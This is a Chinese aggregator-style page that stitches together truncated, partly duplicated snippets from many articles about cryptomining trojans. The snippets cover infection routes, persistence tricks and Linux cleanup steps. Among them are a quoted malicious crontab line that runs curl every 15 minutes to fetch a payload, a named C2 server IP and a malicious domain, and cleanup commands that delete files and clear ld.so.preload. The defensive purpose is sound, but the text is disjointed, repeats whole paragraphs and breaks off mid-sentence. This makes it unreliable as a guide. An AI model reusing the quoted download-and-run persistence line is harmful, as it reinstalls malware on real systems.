一分钟了解什么是挖矿木马 什么是挖矿木马？...攻击者通过各种手段将挖矿程序植入受害者的计算机中，在受害者不知情的情况下利用其计算机的云算力进行挖矿，从而获取利益，这类非法植入用户计算机的挖矿程序就是挖矿木马。 挖矿木马，挖的是啥？...通常情况下，挖矿木马都会有系统驻留模块，会通过计划任务、服务等方式不断的拉起恶意进程，因此仅结束进程不一定能有效的清除，建议使用专业的安全软件进行处置。...通常情况下，无文件挖矿仅通过结束进程是无法完全清除的，系统中可能残留恶意的计划任务： 或是恶意的WMI，需要全部进行删除才能彻底清除木马： Fonts目录隐藏挖矿木马 C:\Windows\Fonts...，建议立即使用杀毒软件进行全盘扫描和查杀，或参考附录explorer一键挖矿的处置方法手动清除。
ps -eopcpu,args –sort=%cpu|head 找到飙高的程序是minerd
这个挖矿木马我们可以命名为猪猪挖矿，之所以这样起名也是觉得攻击的特征，以及繁衍感染的能力太强，我们称之为猪猪挖矿木马。...关于如何检测以及防护挖矿木马，我们通过这篇文章来给大家讲解一下，希望大家能够日后遇到服务器被挖矿木马攻击的时候可以应急处理，让损失降到最低。 ?...挖矿木马是2018年底开始大批量爆发的，我们对猪猪挖矿进行了详细的跟踪与追查分析，主要是通过thinkphp的网站漏洞进行攻击服务器，然后在服务器里置入木马后门，以及挖矿木马，该木马的特征如下：内置了许多木马后门...再一个特征就是木马文件存储的位置很隐蔽，文件名也是以一些系统的名字来隐藏，文件具有可复制，重生的功能，通信采用C与C端的模式，通信加密采用https，挖矿都是在挖以太坊以及比特币。 ?...针对服务器被挖矿木马攻击的处理及安全解决方案 尽快的升级thinkphp系统的版本，检测网站源代码里是否留有攻击者留下的木马后门，对网站开启硬件防火墙，随时的检测攻击，使用其他网站开源系统的运营者，建议尽快升级网站系统到最新版本
这个挖矿木马我们可以命名为猪猪挖矿，之所以这样起名也是觉得攻击的特征，以及繁衍感染的能力太强，我们称之为猪猪挖矿木马。...关于如何检测以及防护挖矿木马，我们通过这篇文章来给大家讲解一下，希望大家能够日后遇到服务器被挖矿木马攻击的时候可以应急处理，让损失降到最低。...挖矿木马是2018年底开始大批量爆发的，我们对猪猪挖矿进行了详细的跟踪与追查分析，主要是通过thinkphp的网站漏洞进行攻击服务器，然后在服务器里置入木马后门，以及挖矿木马，该木马的特征如下：内置了许多木马后门...再一个特征就是木马文件存储的位置很隐蔽，文件名也是以一些系统的名字来隐藏，文件具有可复制，重生的功能，通信采用C与C端的模式，通信加密采用https，挖矿都是在挖以太坊以及比特币。...针对服务器被挖矿木马攻击的处理及安全解决方案 尽快的升级thinkphp系统的版本，检测网站源代码里是否留有攻击者留下的木马后门，对网站开启硬件防火墙，随时的检测攻击，使用其他网站开源系统的运营者，建议尽快升级网站系统到最新版本
-j DROP 清除计划任务 大部分挖矿木马会通过在受感染主机中写入计划任务实现持久化，如果仅仅只是清除挖矿进程，无法将其根除，到了预设的时间点，系统会通过计划任务从黑客的C2服务器重新下载并执行挖矿木马...清除预加载so 通过配置/etc/ld.so.preload，可以自定义程序运行前优先加载的动态链接库，部分木马通过修改该文件，添加恶意so文件，从而实现挖矿进程的隐藏等恶意功能。...清除SSH公钥 挖矿木马通常还会在~/.ssh/authoruzed_keys文件中写入黑客的SSH公钥，这样子就算用户将挖矿木马清除得一干二净，黑客还是可以免密登陆该主机，这也是常见的保持服务器控制权的手段...清除挖矿木马 （1）清除挖矿进程 挖矿木马最大的特点就是会在用户不知情的情况下，利用主机的算力进行挖矿，从而消耗主机大量的CPU资源，所以，通过执行如下命令排查系统中占用大量CPU资源的进程。...究其根本，还是因为清除得不够彻底。大部分用户都只是Kill掉挖矿进程和对应文件，却没有清理计划任务和守护进程。 一般建议先清除计划任务、启动项、守护进程，再清除挖矿进程和其他恶意进程。
清除计划任务 大部分挖矿木马会通过在受感染主机中写入计划任务实现持久化，如果仅仅只是清除挖矿进程，无法将其根除，到了预设的时间点，系统会通过计划任务从黑客的C2服务器重新下载并执行挖矿木马。...清除启动项 除了计划任务，挖矿木马通过添加启动项同样能实现持久化。可以使用如下命令查看开机启动项中是否有异常的启动服务。...清除SSH公钥 挖矿木马通常还会在~/.ssh/authoruzed_keys文件中写入黑客的SSH公钥，这样子就算用户将挖矿木马清除得一干二净，黑客还是可以免密登陆该主机，这也是常见的保持服务器控制权的手段...清除挖矿木马 （1）清除挖矿进程 挖矿木马最大的特点就是会在用户不知情的情况下，利用主机的算力进行挖矿，从而消耗主机大量的CPU资源，所以，通过执行如下命令排查系统中占用大量CPU资源的进程。...明明刚刚清理了挖矿木马，没过多久就又卷土重来？ 很多用户会反馈挖矿木马老是清理不干净，明明已经Kill了进程，删除了木马文件，没过多久，CPU占用率又上来了。究其根本，还是因为清除得不够彻底。
Linux watchdogs 感染性隐藏挖矿病毒。 网上都在讲watchBog，有什么用，能做什么事，没有特别好的方法去应对变种的挖矿病毒。...经过几天测试，确认了我方感染源为 jenkins ，关闭服务，服务器挖矿病毒终于彻底解除 也有可能会是其他的服务，需要自行确认。
No.2 前言 在通过漏洞打入对方服务器后，如果痕迹没有清除干净或者在实施侵入的同时会有防火墙、waf（某云盾）等安全产品发出警报，比如某云服务器会直接发送邮件告知管理员，服务器被一个陌生IP登录，这时管理员可能会警觉...No.3 挖矿木马分析结果 阶段1 1.关闭防火墙和selinux。...4.定义一些变量，扰乱系统程序，干扰其它挖矿程序。 5.配置定时更新木马的文件,比如sysupdate，update.sh。 ?...2．系统命令和系统进程被劫持，一旦被劫持的系统进程或命令生效，挖矿木马再次激活。 ?...结合挖矿木马的特性，可达到不死马的效果。 END
攻击和挖矿方式显示黑产组织在相互竞争、木马更新等方面较去年又上了一个台阶。 ? 门罗币价格走势图 事件描述 近日，黑客利用SSH暴力破解服务器后种植挖矿木马，我们追踪到了其多个后台更新服务器。...黑客攻击服务器与种植挖矿木马过程包括三个步骤： 1. 攻击者探测SSH服务 2. 攻击者对SSH服务账户和密码进行暴力破解 3....一旦暴力破解成功，攻击者远程下载并运行挖矿程序 下图是一个挖矿木马后台服务器的截图，从图中可以看出116.196.120.20这台服务器从2018年1月26日14点开始，xm.sh(下载器程序)已经被下载过...挖矿黑客之间的竞争愈发激烈 对比之前发现的同类型挖矿木马，本次发现的挖矿木马在代码上已经有了进一步的提升，之前发现的挖矿脚本，主要杀掉具体进程名，目前主要根据矿池信息杀掉挖矿进程，扩大了有效范围。...下图是两种类型挖矿木马杀掉其他木马的方式比较： ? 黑客的获利估计 从目前的样本获取的钱包地址来看，之前的挖矿币池已经向攻击者的钱包提交了34个XMR（约合8500美元，以当天价格$250计算）。
关于SSH后门木马查杀，那SSH协议其实它是一个加密的网络传输协议，通常咱们使用它作为Linux管理使用，那它用来传输命令界面和远程执行命令，也就是咱们现在看到的这个界面，通常计算机被入侵之后，如果这个计算机是暴露在外网的...但是以这个为后缀的是不能登录的，可以看看最近的登录记录命令为last，看有无可以人员的登录，然后对比下bin目录下的bash有无被替换，然后再看下sshd的进程有无向外自动连接之类的，如果还是找不到服务器中的木马后门的话可以向网站漏洞修复服务商寻求技术支持
发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/149135.html原文链接：https://javaforall.cn
1.png 二、安全分析 1、隐藏进程 经过busybox核实到存在隐藏进程，百度核实为挖矿病毒 2.png 2、crontab 存在异常任务 3.png 下载链接已经失效，IP为海外。...4.png 3、进程文件并不存在 5.png 明显该木马在运行成功后，会自动清理运行文件。 4、文件dump出来核实是否为木马 6.png Virustotal 中核实文件是否异常。...gmcq.361yx.cn//g" /etc/hosts #解除加载异常动态库 > /etc/ld.so.preload #删除异常动态库 rm -fr /etc/libsystem.so #清除木马病毒
简介 Bootkit是更高级的Rootkit木马后门。...例如后来木马BIOS Rootkit、VBootkit、SMM Rootkit等。 小实验 下面是一张经典的机器开机启动顺序图 ?...流氓软件杀手(roguekiller)是一款免费的进程扫描程序，能够针对电脑正在运行的软件程序、系统文件、hosts、代理、dns、档案、mbr、驱动程序等进行全面安全的扫描检测，一旦发现恶意程序即可中止或清除
很多客户网站服务器被入侵，被攻击，找到我们SINE安全公司寻求技术支持与帮助，有些网站被篡改，被跳转，首页内容被替换，服务器植入木马后门，服务器卡顿，服务器异常网络连接，有的客户使用的是阿里云服务器，经常被提醒服务器有挖矿程序...对服务器的启动项进行检查，有些服务器被植入木马后门，即使重启服务器也还是被攻击，木马会自动的启动，检查linux的init.d的文件夹里是否有多余的启动文件，也可以检查时间，来判断启动项是否有问题。...最重要的是检查服务器的定时任务，前段时间某网站客户中了挖矿病毒，一直占用CPU，查看了定时任务发现每15分钟自动执行下载命令，crontab -l */15 * * * * (curl -fsSL https...定时任务删都删不掉，最后通过检查系统文件查到了木马，并终止进程，强制删除。...有些服务器被黑后，请立即检查2天里被修改的文件，可以通过find命令去检查所有的文件，看是否有木马后门文件，如果有可以确定服务器被黑了。
腾讯电脑管家近日捕获的HSR币挖矿木马，隐藏在“绝地求生”辅助程序中，而由于“绝地求生”对电脑性能要求较高，不法分子瞄准”绝地求生”玩家电脑，相当于找到了“绝佳”的挖矿机器。...tlwgft此时属于辅助主界面程序，负责辅助的更新，模块投放，以及挖矿木马投放。 主程序启动后，联网访问一份进程列表。 ?...目前该挖矿木马专门挖取HSR币，以目前的交易价格，1算力每天可获得人民币2.014元。 ?...0x3 溯源 该辅助工具虽然存在已久，但此次发现的挖矿木马是在12月8号辅助新版发布后才开始植入辅助工具。...从传播趋势看，该木马从12月8号开始影响用户机器，并在12月20号达到最高峰值，仅20号当天就有近20万台机器受到该挖矿木马影响。 ? 该辅助程序在12月22日晚宣布停用。 ?
腾讯电脑管家近日捕获的HSR币挖矿木马，隐藏在“绝地求生”辅助程序中，而由于“绝地求生”对电脑性能要求较高，不法分子瞄准”绝地求生”玩家电脑，相当于找到了“绝佳”的挖矿机器。...经分析，已确定该挖矿木马名为tlMiner，由一游戏辅助团队投放，目前已影响了数十万台用户机器。 绝地求生小辅助启动流程： ?...目前该挖矿木马专门挖取HSR币，以目前的交易价格，1算力每天可获得人民币2.014元。 ?...0×3 溯源 该辅助工具虽然存在已久，但此次发现的挖矿木马是在12月8号辅助新版发布后才开始植入辅助工具。...从传播趋势看，该木马从12月8号开始影响用户机器，并在12月20号达到最高峰值，仅20号当天就有近20万台机器受到该挖矿木马影响。 ? 该辅助程序在12月22日晚宣布停用。 ?
公司之前的开发和测试环境是在腾讯云上，部分服务器中过一次挖矿木马 kworkerds，本文为我当时分析和清理木马的记录，希望能对大家有所帮助。...先阻断外部连接，再清理定时任务，之后删除挖矿病毒本体，防止再生。...# 防止木马再次下载 echo '127.0.0.1 pastebin.com' >> /etc/hosts # 删除掉局域网服务器之间的免密登录 # 本机定时任务和木马都清理干净了，重启后木马又重新执行...sleep 10秒，判断是否与端口 13531 建立连接，如果没有则执行 downloadrunxm 函数，连接挖矿服务器。 预防 任何服务都要设置密码认证，且强密码。...linux 知识点 隐藏木马文件文件，防止通过时间排序来判断木马文件。
网上查了下，发现这是一款在Linux/Windows双平台的挖矿病毒木马，该木马是通过Redis漏洞传播的挖矿木马DDG的变种，使用Go语言1.10编译使用了大量的基础库文件。...该木马会大量消耗服务器资源，难以清除并具有内网扩散功能。...接下来清除该病毒。...可以看到它在这里做了好几件事，首先是往/etc目录下面下载以下文件： /etc/config.json：挖矿配置文件，包含钱包地址与挖矿参数等； /etc/sysupdate：XMR挖矿程序主体； /etc...简单分析下/etc/update.sh文件，发现它做了以下事情： 下载病毒模块； 在kill_miner_proc函数中清除其他挖矿病毒； 定时任务存活； 为文件添加chattr锁定； 修改IPTABLES
腾讯安全御见威胁情报中心持续检测到，一款名为NovelMiner的挖矿木马自2017年9月开始隐藏在广告短链接中进行传播。...据统计，全球约有100多个国家超过1500万用户由于误点带毒广告页面而自动下载了NovelMiner挖矿木马。 ?...b.vbs负责下载并启动xmrig挖矿程序，木马常用VBS名及下载代码段： ? V1.0版木马攻击流程 ?...从pdb信息可以看出，该挖矿木马已经到了V3版本了，从作者机器名可以看出属于俄语区，“роаипроаип”英文译作“NovelNovel”，此木马取名为“NovelMiner”。...腾讯电脑管家提醒用户不要随意点开未知来源的陌生链接，电脑管家的“反挖矿防护”功能已覆盖电脑管家全版本用户，为用户拦截并预警各类挖矿木马程序和含有挖矿js脚本网页的运行，保持电脑管家运行状态即可对此类挖矿木马进行全面拦截
——网页“挖矿”，这种攻击会导致用户计算机资源被严重占用，而“挖矿”木马则乘机利用用户电脑疯狂敛财，一个僵尸网络从被攻击的用户的电脑中获利可超300万元人民币。...信息安全专家表示，随着包括比特币等数字货币交易价格的火爆，加上自身不易被察觉的特点，“挖矿”木马今年急剧增加，成为威胁网络安全的另一大隐患。...360信息安全专家表示，不同于通过入侵服务器搭建“挖矿”木马僵尸网络，网页“挖矿”脚本更容易被用户所察觉，但由于利益驱使，目前不法分子仍通过各种方法在一些网站中植入了“挖矿”脚本。...业内专家预计，由于网页“挖矿”隐蔽性较低，未来不法分子或会将“挖矿”目标转移到网页游戏和客户端游戏中，通过游戏的资源高消耗率掩盖“挖矿”机的运作。而移动平台也有可能是“挖矿”木马的重要目标。...由于“挖矿”木马会持续驻留在计算机中，如果服务器管理员未定期查看服务器状态，那么“挖矿”木马就难以被发现。因此服务器管理员应定期维护服务器。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
对象存储
即时通信 IM
